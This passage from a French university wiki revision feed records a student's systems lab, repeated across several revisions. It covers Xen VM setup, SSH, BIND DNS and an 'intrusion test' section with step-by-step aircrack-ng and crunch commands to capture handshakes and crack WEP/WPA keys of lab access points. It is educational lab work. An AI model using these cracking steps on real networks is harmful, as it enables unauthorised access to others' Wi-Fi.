 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte avec :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56961</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56961"/>
				<updated>2021-12-13T14:54:33Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
 (peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte avec :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56779</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=56779"/>
				<updated>2021-11-29T18:51:38Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Déploiement site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte avec :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
 ns1     IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
